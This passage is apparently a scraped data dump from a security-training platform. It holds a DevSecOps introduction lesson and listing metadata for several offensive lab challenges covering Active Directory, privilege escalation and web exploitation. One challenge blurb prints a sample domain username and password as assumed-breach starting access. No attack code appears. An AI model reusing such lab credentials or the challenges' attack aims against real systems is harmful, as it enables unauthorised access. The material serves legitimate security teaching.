href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devops</a></div>\n<div style=\"position:absolute;left:-99999px\">Yes, you heard it right. With DevOps, security gets introduced early in the development cycle, which minimizes risks massively. Integrating code analysis tools and automated tests earlier can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would enhance the impact of DevOps and eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now but certainly an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devops</a>.</div>\n<div style=\"position:absolute;left:-99999px\">Yes, you heard it right. With DevOps, security gets introduced early in the development cycle, which minimizes risks massively. Integrating code analysis tools and automated tests earlier can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would not only enhance the impact of DevOps but also eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now but indeed an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devops</a>.</div>\n<div style=\"position:absolute;left:-99999px\">With DevOps, security gets introduced early in the development cycle, which minimizes risks massively. Integrating code analysis tools and automated tests earlier can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would not only enhance the impact of DevOps but also eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now but certainly an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devops</a></div>\n<div style=\"position:absolute;left:-99999px\">With DevOps, security gets to be introduced early in the development cycle and this minimizes risks massively. Integrating code analysis tools and automated tests earlier in the process can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would not only enhance the impact of DevOps but also eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now, but certainly an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devop</a></div>\n<div style=\"position:absolute;left:-99999px\">Yes, you heard it right. With DevOps, security gets to be introduced early in the development cycle and this minimizes risks massively. Integrating code analysis tools and automated tests earlier in the process can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would not only enhance the impact of DevOps but also eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now, but certainly an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devop</a></div>\n<div style=\"position:absolute;left:-99999px\">With DevOps, security gets to be introduced early in the development cycle and this minimizes risks massively. Integrating code analysis tools and automated tests earlier in the process can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would not only enhance the impact of DevOps but also eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now, but certainly an obligation.<br />Read more at: <a href=\"https://www.appknox.com/blog/history-of-devops\">https://www.appknox.com/blog/history-of-devo</a></div>\n<div>With DevOps, security gets to be introduced early in the development cycle and this minimizes risks massively. Integrating code analysis tools and automated tests earlier in the process can lead to better identification and elimination of security loopholes. And as the software gets to the deployment stage, everything works smoothly as anticipated. Security is not an add-on. It's a must-have design feature. Blending security in DevOps would enhance the impact of DevOps and eliminate a lot of other bottlenecks that could arise otherwise. With a rise in the frequency of cyber threats and tightening regulations, adding security to DevOps is not a choice now but indeed an obligation.<br />Read more <a href=\"https://www.appknox.com/blog/history-of-devops\">here</a></div> DevSecOps: Security Shifts Left <p>DevSecOps <span class=\"ILfuVd\"><span class=\"hgKElc\">is an approach that relies heavily on automation and platform design that integrates security as a shared responsibility. It is a culture-driven development style that normalises security as a day-to-day operation. </span></span></p>\n<p><span style=\"font-size:24px\">What is the value?</span></p>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\">DevSecOps helps bring down vulnerabilities, maximises test coverage, and intensifies the automation of security frameworks. This reduces risk massively, assisting organisations in preventing brand reputation damage, and economic losses due to security flaws incidents, making life easier for auditing and monitoring. </span></span></p>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\" style=\"font-size:24px\">How to implement this efficiently? </span></span></p>\n<p><span class=\"ILfuVd\"><span class=\"hgKElc\">Culture is key. </span></span>It does not work without open communication and trust. It only works with collective effort. DevSecOps should aim to bridge the security knowledge gaps between teams; for everyone to think and be accountable for security, they first need the tools and knowledge to drive this autonomy efficiently and confidently. </p>\n<p><span style=\"font-size:24px\">DevSecOps Challenges</span></p>\n<p><strong><span class=\"ILfuVd\"><span class=\"hgKElc\"><span style=\"font-size:18px\">Security Silos</span></span></span></strong></p>\n<p>It is common for many security teams to be left out of DevOps processes and portray security as a separate entity, where specialised people can only maintain and lead security practices. This situation creates a silo around security and prevents engineers from understanding the necessity of security or applying security measures from the beginning.</p>\n<p>This is not scalable or flexible. Security should be a supportive function to help other teams scale and build security, without security teams being a blocker, but rather a ramp to promote secure solutions and decisions. The best practice is to share these responsibilities across all team members instead of having a specialised security engineer.</p>\n<p><strong><span class=\"ILfuVd\"><span class=\"hgKElc\"><span style=\"font-size:18px\">Lack of Visibility &amp; Prioritisation</span></span></span></strong></p>\n<p>Aim to create a culture where security and other essential application components treat security as a regular aspect of the application. Developers can then focus on development with confidence about security instead of security departments playing police and the blame game. Trust should be built between teams, and security should promote the autonomy of teams by establishing processes that instil security.</p>\n<p><strong><span class=\"ILfuVd\"><span class=\"hgKElc\"><span style=\"font-size:18px\">Stringent Processes</span></span></span></strong></p>\n<p>Every new experiment or piece of software must not go through a complicated process and verification against security compliances before being used by developers. Procedures should be flexible to account for these scenarios, where lower-level tasks should be treated differently, and higher-risk tasks and changes are targeted for these more stringent processes.</p>\n<p>Developers need environments to test new software without common security limitations. These environments are known as \"SandBox,\" which are temporarily isolated environments. These environments have no connection to any internal network and have no customer data.</p> Introduction  <div><span style=\"font-size:24px\"><b>Introduction</b><br /></span><br /></div><div>In this lab, you will get introduced to the different styles of Software Development and their evolution throughout the years. It's essential to understand how things have improved over the years and their impact on the security industry.  </div><div><br /></div><div><b><span style=\"font-size:24px\">Learning Objectives</span></b></div><div><b><br /></b></div><ul><li>The history behind software development practices and how they've evolved over the years<br /></li><li>The importance of this field and the concepts of what makes DevSecOps</li><li>DevSecOps culture and as a discipline<br /><br /></li></ul><p><span style=\"font-size:24px\">DevSecOps Learning Path</span></p><p>﻿This is the first room in a new DevSecOps learning path being developed. The new path will cover:</p><ul><li>Introduction to DevSecOps (Secure SDLC, Environments, and Tools)</li><li>Security of the Pipeline (Pipeline Automation, Source Code Security, Automated Code Testing, Dependency Management, CI/CD, and Environment Security)</li><li>Security in the Pipeline (Attacking the Pipeline, Exploiting Vulnerabilities in the Pipeline, Defending the Pipeline)</li><li>Infrastructure as Code (Cloud DevOps, Secret Management, Exploiting Terraform, Exploiting Vagrant, Exploiting Docker)</li></ul> The Infinite Loop <p><span style=\"font-size:16px\"><span style=\"font-size:24px\"><span style=\"font-size:16px\">In the previous task, we learned about the different software development styles throughout the years and how these played a big part in the </span></span></span>inception of DevOps. This task will introduce you to key concepts, tools, and how they all work together.</p>\n<p><span style=\"font-size:16px\"><span style=\"font-size:24px\">How does DevOps work?</span></span></p>\n<p><span style=\"font-size:16px\"><span style=\"font-size:16px\">DevOps is </span></span><span style=\"font-size:16px\"><span style=\"font-size:24px\"><span style=\"font-size:16px\">visualized as an infinite loop, describing all the comprising phases:</span></span></span></p>\n<p> </p>\n<p align=\"center\"><img style=\"width:50%\" src=\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/538ad9f777ec0153d5d648edd4bcf65a.png\" alt=\"the infinite loop diagram describing a DevOps lifecycle\" /></p>\n<p style=\"text-align:justify\">Following the infinite loop of the DevOps diagram, let's expand on some DevOps tools &amp; processes that we'll look at as we follow the DevSecOps pathway and how they help an organization:</p>\n<ol>\n<li><strong>CI/ CD</strong> – In the previous task, we mentioned CI/CD (Continuous Integration and Continuous Deployment); CI/CD deals with the frequent merging of code and adding testing in an automated manner to perform checks as new code is pushed and merged. We can test code as we push and merge thanks to a new dynamic and routine in deployment, which takes the form of minor code changes systematically and routinely. Thanks to this change in dynamic, CI/CD helps detect bugs early and decreases the effort of maintaining modular code massively, which introduces reliable rollbacks of versions/code.</li>\n<li><strong>INFRASTRUCTURE AS CODE</strong> (IaC) – a way to manage and provision infrastructure through code and automation. Thanks to this approach, we can reuse code used to deploy infrastructure (for example, cloud instances), which helps in consistent resource creation and management. Standard tools for IaC are terraform, vagrant, etc. We will use these tools further in the pathway as we experiment with IaC security. </li>\n<li><strong>CONFIGURATION MANAGEMENT</strong> – This is where the state of infrastructure is managed constantly and applying changes efficiently, making it more maintainable. Thanks to this, lots of time is saved, and more visibility into how infrastructure is configured. You can use IaC for configuration management.</li>\n<li><strong>ORCHESTRATION</strong> – Orchestration is the automation of workflows. It helps achieve stability; for example, by automating the planning of resources, we can have fast responses whenever there is a problem (e.g., health checks failing); this can be achieved thanks to monitoring.</li>\n<li><strong>MONITORING</strong> – focuses on collecting data about the performance and stability of services and infrastructure. This enables faster recovery, helps with cross-team visibility, provides more data to analyze for better root-cause analysis, and also generates an automated response, as mentioned earlier.</li>\n<li><strong>MICROSERVICES</strong> – An architecture that breaks an application into many small services. This has several benefits, like flexibility if there is a need to scale, reduced complexity, and more options for choosing technology across microservices. We will look at these in more detail in the DevSecOps pathway.</li>\n</ol> Exercise: Fuel Trouble <p> </p>\n<p> </p>\n<p align=\"center\"><span style=\"font-size:24px\">Software Development Models</span></p>\n<p>SEC3PO, X Fighter Dev, Chewba-QA and S2-A2 have been assigned to discover minerals in nearby planets in the Galaxy. Watto, the Bug, is funding the mission by providing equipment and fuel to carry out this project. They are tasked to set a course and research these planets. Can you guess which Software Development Model they have used in each case to achieve the mission?</p>\n<p><strong><span style=\"font-size:16px\">Click the </span></strong><code>View Site</code><strong><span style=\"font-size:16px\"> button on the top right, and look at the static site attached to this task. Can you figure out which approach was taken in each comic snippet? To view the comic again, click the button again.</span></strong></p>\n<p><strong><strong><span style=\"font-size:16px\">To view the comic again, click the</span></strong> </strong><code>View Site</code><strong> <strong><span style=\"font-size:16px\">button again. </span></strong></strong></p>\n<p><span style=\"font-size:24px\"><strong>Background</strong></span></p>\n<p><span style=\"font-size:18px\"><strong><span style=\"font-size:16px\">Mission: </span></strong><span style=\"font-size:16px\">T</span></span><span style=\"font-size:16px\">ravel to the planet with the least amount of risk possible.</span><strong><span style=\"font-size:16px\"> </span></strong></p>\n<p><strong><span style=\"font-size:16px\">Fuel: </span></strong><span style=\"font-size:16px\">Accounts for 130.000 Light Years of travel</span></p>\n<p><span style=\"font-size:18px\"><strong><span style=\"font-size:16px\">Models:</span></strong><span style=\"font-size:16px\"> Waterfall, Agile &amp; DevOps</span><br /></span><strong><span style=\"font-size:18px\"><br /></span></strong></p>\n<table class=\"table table-bordered\">\n<tbody>\n<tr>\n<td><strong>Planet</strong></td>\n<td><strong>Distance from Spaceship</strong></td>\n</tr>\n<tr>\n<td>Testooine</td>\n<td>125.000 Light Years</td>\n</tr>\n<tr>\n<td>Hackboo</td>\n<td>100.000 Light Years</td>\n</tr>\n<tr>\n<td>TryHothMe</td>\n<td>80.000 Light Years</td>\n</tr>\n<tr>\n<td>Dagobug</td>\n<td>60.000 Light Years</td>\n</tr>\n</tbody>\n</table>\n<p><strong><span style=\"font-size:18px\"><br /></span></strong><span style=\"font-size:24px\">Comic 1</span></p>\n<p><strong><strong><span style=\"font-size:16px\">Some tests have passed to go to Testooine, which was the initial decision by x fighter dev. It is decided that it is the next planet to visit.</span></strong></strong></p>\n<p><span style=\"font-size:24px\">Comic 2</span></p>\n<p align=\"left\"><strong><strong><span style=\"font-size:16px\">Some tests indicated that it is a high risk to travel to Testooine; first, some tests have passed for Naboo, but S2-D2 has decided the course should be changed to Hoth.</span></strong></strong></p>\n<p align=\"left\"><span style=\"font-size:24px\">Comic 3</span></p>\n<p><strong>The initial decision based on analysis by X fighter Dev is to travel to Hoth. Costs were questioned, and although Hoth is one of the closest, SEC3PO has analysed the trajectory and has set new parameters for the tests. Chewba-QA has concluded to change orbit to Dagobah based on further tests.</strong></p> DevSecOps Culture <p><b><span style=\"font-size:24px\"></span><span style=\"font-size:24px\">DevSecOps Culture</span></b><br /><br /><span style=\"font-size:24px\">Promote autonomy of teams</span><br /><br /><span style=\"font-size:16px\">Whether it is a large organization or a start-up in hypergrowth, the only way to not leave security behind is by promoting the autonomy of teams. This can be done by automating processes that fit seamlessly with the development pipeline until security tests become just another type of test, like unit testing, smoke bombs, etc.</span><br /><br /><span style=\"font-size:16px\">Leading by example and promoting education like creating playbooks / runbooks to spot these flaws and fix them, understand their risk, and build confidence in engineers to make the secure decision independently. The ratio of developers, platform, infrastructure engineers, etc., won't be the same as security engineers, and we must understand they can't be in every conversation. Security should act as a supporting function that focuses on building trust and creating as much overlap in knowledge between teams as possible.</span><br /><br /><span style=\"font-size:24px\">Visibility and Transparency</span><br /><br /><span style=\"font-size:16px\">For every tool being introduced or practised, there needs to be a supporting process that provides visibility and promotes transparency to other teams. This means that if we want to build autonomy in groups, as mentioned earlier, they need to have visibility on the security state of the service they own or maintain. For example, a dashboard visualizes the number of security flaws by the criticality of the service. This helps prioritize accordingly, so tasks don't get lost in the backlog or noise, and they can tackle flaws at the right time. The security state measure depends on the company, but it could be the number of high findings a service might or might not have which determine if it is in a good security state.</span><br /><br /><span style=\"font-size:16px\">Transparency would refer to introducing tools and practices that are accessible to teams. For example, if you present a check before merging code, and the review doesn't pass and shows a message saying \"signature of possible code injection flaw detected, please remediate,\" the developer or engineer should have access to the tool that is flagging that message. Usually, these analysis tools that flag those alerts have a UI that specifies the line in code where it's affected. They include a definition and a remediation suggestion with steps. In this example, a developer role can be created so that they have access to more information. This promotes education and autonomy by extending transparency that, traditionally, was only accessible by security teams.</span><br /><br /><br /><span style=\"font-size:24px\">Account for flexibility thanks to understanding and empathy</span><br /><br /><span style=\"font-size:16px\">﻿As mentioned earlier, instilling security in DevOps processes with visibility and transparency is no easy task. There is a factor that can determine success: the level of understanding and empathy. This means that the definition of risk for security teams is unequivocal, but for other teams, risk can be different and just as precise for them. This doesn't only apply to risk but to an umbrella of things; it ramifies into what they prioritize, how they work, and what they think is important enough to leave aside a project with a tight deadline to fix a bug.</span><br /><br /><span style=\"font-size:16px\">There is no magic tool or process for everyone. It is essential to understand how developers/engineers work, what they know to be a risk, and what they prioritize. If you know their perspective, it's easier to build a process that finds common ground and has a higher chance to work vs adding another tool that creates more noise and stress for everyone. This understanding builds perspective, which accounts for empathy for how other teams work and builds a process that accounts for flexibility. This is needed because every situation might be different, deadlines might be different, and bandwidth can change over time.</span><br /><br />As a DevSecOps engineer, suppose you took the time to understand how a team owns a service. In that case, that will have a security scanner added to its development process, worked and viewed priority; it will be easier to get their buy-in and demonstrate value. For example, if it's a platform team and owns an internal service but a core service, a risk would be a bug that disrupts the service, not a potential injection that lives behind a proxy. You would need internal credentials to exploit it. You can tune the scanners or add a triaging process that tackles the questions they would ask themselves, and this would, in turn, build trust vs crying wolf and security processes being questioned.﻿</p><p><span style=\"font-size:24px\"><span style=\"font-size:14px\">Read about DevSecOps success stories <a href=\"https://www.csoonline.com/article/3439737/3-devsecops-success-stories.html\" target=\"_blank\">here</a>.</span><br /></span></p>","timeToComplete":120,"title":"DevSecOps Basics","type":"walkthrough","order":1},{"_id":"6a0dd7415993721b9d00e273","businessOnly":false,"code":"forwardchallenge","collaborator":[],"contentDropPriority":0,"description":"Now is the time to move forward in this AD challenge.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/63c131e50a24c3005eb34678-1779293616231","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/25835056d9d51fa07b52746e12805d751526267a80170bea31216cc90967a423.63c131e50a24c3005eb34678-1779248462763","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":213,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-21T15:00:34.828Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe49"},{"tag":"Security Engineer","label":"Security Engineer","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe4a"},{"tag":"Windows","label":"Windows","weight":5,"category":"Technology","_id":"6a1696845ba5af21a079fe4b"},{"tag":"Red","label":"Red","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe4c"},{"tag":"Active Directory","label":"Active Directory","weight":3,"category":"Technology","_id":"6a1696845ba5af21a079fe4d"},{"tag":"Active Directory pentesting","label":"Active Directory pentesting","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe4e"},{"tag":"Adversary emulation","label":"Adversary emulation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe4f"},{"tag":"Authentication bypass","label":"Authentication bypass","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe50"},{"tag":"Credential harvesting","label":"Credential harvesting","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe51"},{"tag":"Adversary Emulation Library","label":"Adversary Emulation Library","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe52"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe53"},{"tag":"Code injection","label":"Code injection","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe54"}],"tags":["Penetration Tester/ Red Team","Security Engineer","Windows","Red","Active Directory","Active Directory pentesting","Adversary emulation","Authentication bypass","Credential harvesting","Adversary Emulation Library","segment 2.5","Code injection"],"taskSearchText":" Forward <div style=\"display:flex;justify-content:center;align-items:center;width:100%\">\n<div style=\"background-color:rgb(13, 13, 13);border:1px solid rgb(0, 255, 0);border-radius:8px;padding:20px;font-family:'Courier New', monospace;max-width:350px;text-align:center\">\n<p style=\"color:rgb(0, 255, 0);font-size:14px;margin:0px 0px 10px;letter-spacing:2px\">[ INITIAL ACCESS GRANTED ]</p>\n<hr style=\"border-color:#00ff00;margin-bottom:15px\" />\n<p style=\"color:rgb(255, 255, 255);margin:5px 0px\"><span style=\"color:#00ff00\">USER &gt;</span> ctf.local\\j.smith</p>\n<p style=\"color:rgb(255, 255, 255);margin:5px 0px\"><span style=\"color:#00ff00\">PASS &gt;</span> JSmith@IT2024</p>\n<hr style=\"border-color:#00ff00;margin-top:15px\" />\n<p style=\"color:rgb(0, 255, 0);font-size:12px;margin:10px 0px 0px;letter-spacing:1px\">You're already in. The breach has been assumed, now it's time to move forward. Navigate through a compromised Active Directory environment, move laterally through the domain, and escalate your way to full control. The question isn't how you got in... it's how far you can go.</p>\n</div>\n</div>","timeToComplete":120,"title":"Forward","type":"challenge","order":1},{"_id":"6a0a04afd2a561e55f40c2d7","businessOnly":false,"code":"silent-monitor","collaborator":[],"contentDropPriority":0,"description":"Enumerate a running internal service, exploit a vulnerable web application, pivot through the system, and crack your way to root.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/69d514a8a643762d5700ec6f-1779219357236","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/69d514a8a643762d5700ec6f-1779219421762","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":220,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-21T15:00:34.514Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe3b"},{"tag":"Application penetration testing","label":"Application penetration testing","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe3c"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe3d"},{"tag":"Web","label":"Web","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe3e"},{"tag":"SQLMap","label":"SQLMap","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe3f"},{"tag":"LinPeas","label":"LinPeas","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe40"},{"tag":"Red","label":"Red","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe41"},{"tag":"pentest","label":"pentest","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe42"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe43"},{"tag":" pwn","label":" pwn","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe44"},{"tag":"Basic pentesting","label":"Basic pentesting","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe45"},{"tag":"Reverse/Bind Shell","label":"Reverse/Bind Shell","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe46"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe47"}],"tags":["Penetration Tester/ Red Team","Application penetration testing","Linux","Web","SQLMap","LinPeas","Red","pentest","Privilege escalation"," pwn","Basic pentesting","Reverse/Bind Shell","segment 2.5"],"taskSearchText":" Introduction <h2>Green Lights, Dark Corners</h2>\n<p>CorpNet's internal network operations centre has been running quietly for years. Monitoring hosts, logging events, and keeping the infrastructure alive. Or so it seems. A tip from a disgruntled contractor suggests that someone on the NOC team has been cutting corners, leaving doors open, and hiding things in places no one thinks to look.</p>\n<p>The portal is up. The services show green. The audit log looks clean.</p>\n<p>But clean logs can be written by anyone.</p>\n<p>Your job is to get in, move through the system, and find out what is really running behind the secret dashboard.</p>","timeToComplete":30,"title":"Silent Monitor","type":"challenge","order":1},{"_id":"6a0166a91ea8cc0dfe5633f6","businessOnly":false,"code":"windowsjump","collaborator":[],"contentDropPriority":0,"description":"Use privilege escalation knowledge to jump from a guest user to SYSTEM.","difficulty":"medium","difficultyLevel":3,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/6989b1062386d3517f652edd-1778580823661","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/6989b1062386d3517f652edd-1778836251352","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":159,"paidAccess":{"streak":{"enabled":false},"active":false},"published":"2026-05-21T15:00:34.248Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe14"},{"tag":"Windows","label":"Windows","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe15"},{"tag":"Metasploit Framework","label":"Metasploit Framework","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe16"},{"tag":"PowerUp","label":"PowerUp","weight":1,"category":"Tools","_id":"6a1696845ba5af21a079fe17"},{"tag":"Red","label":"Red","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe18"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe19"},{"tag":"Common Services Threats & Attacks","label":"Common Services Threats & Attacks","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1a"},{"tag":"Windows Privilege Escalation","label":"Windows Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1b"},{"tag":"Local Windows Credentials","label":"Local Windows Credentials","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1c"},{"tag":"Weak Credentials","label":"Weak Credentials","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe1d"},{"tag":"segment 2","label":"segment 2","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe1e"}],"tags":["Penetration Tester/ Red Team","Windows","Metasploit Framework","PowerUp","Red","Privilege escalation","Common Services Threats & Attacks","Windows Privilege Escalation","Local Windows Credentials","Weak Credentials","segment 2"],"taskSearchText":" Challenge <div class=\"virtual-environment\"><img src=\"/_next/static/media/complete-card.7bd8622dbb3d9667.svg\" alt=\"Virtual Environment card placeholder\" /></div>\n<div style=\"border-left:4px solid #5c93d6;border-radius:4px;padding:16px 20px;margin:20px 0;display:flex;align-items:flex-start;gap:12px\"><img style=\"margin-top:2px;flex-shrink:0\" src=\"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406\" />\n<p style=\"margin:0;line-height:1.6\"><strong>Info:</strong> Start the Target machine and AttackBox above to begin the challenge.</p>\n</div>\n<p>A routine vulnerability scan flagged a Windows machine on the internal network; nothing alarming on the surface, just a standard workstation left behind after a round of layoffs. IT never cleaned it up properly. Your job is to find out how badly. Your objective is to escalate from guest access all the way through:  </p>\n<p style=\"text-align:center\"><code>guest</code>-&gt;<code>thmuser</code>-&gt;<code>notadmin</code>-&gt;<code>svcadmin</code>-&gt;<code>SYSTEM</code></p>","timeToComplete":60,"title":"Windows Jump","type":"challenge","order":1},{"_id":"69ffbe140c32db769e1f402b","businessOnly":false,"code":"operationcoldstart","collaborator":[],"contentDropPriority":0,"description":"Wake up the staging server everyone left behind.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779092191894","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779217928574","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":291,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-21T15:00:34.105Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdf7"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdf8"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fdf9"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fdfa"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fdfb"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fdfc"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fdfd"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" Operation Coldstart <p>Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.</p>\n<p>Start the VM by clicking the <code>Start Lab Machine</code> button at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.</p>\n<p>Allow two to three minutes for all services to start.</p>","timeToComplete":60,"title":"Operation Coldstart","type":"challenge","order":1},{"_id":"69ffb455b6f78ff13d06862b","businessOnly":false,"code":"operationpromotion","collaborator":[],"contentDropPriority":0,"description":"One engagement stands between you and your next title.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":false,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779092156693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1779217862269","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":267,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-21T15:00:33.944Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdef"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fdf0"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fdf1"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fdf2"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fdf3"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fdf4"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fdf5"}],"tags":["Security Analyst/ Blue 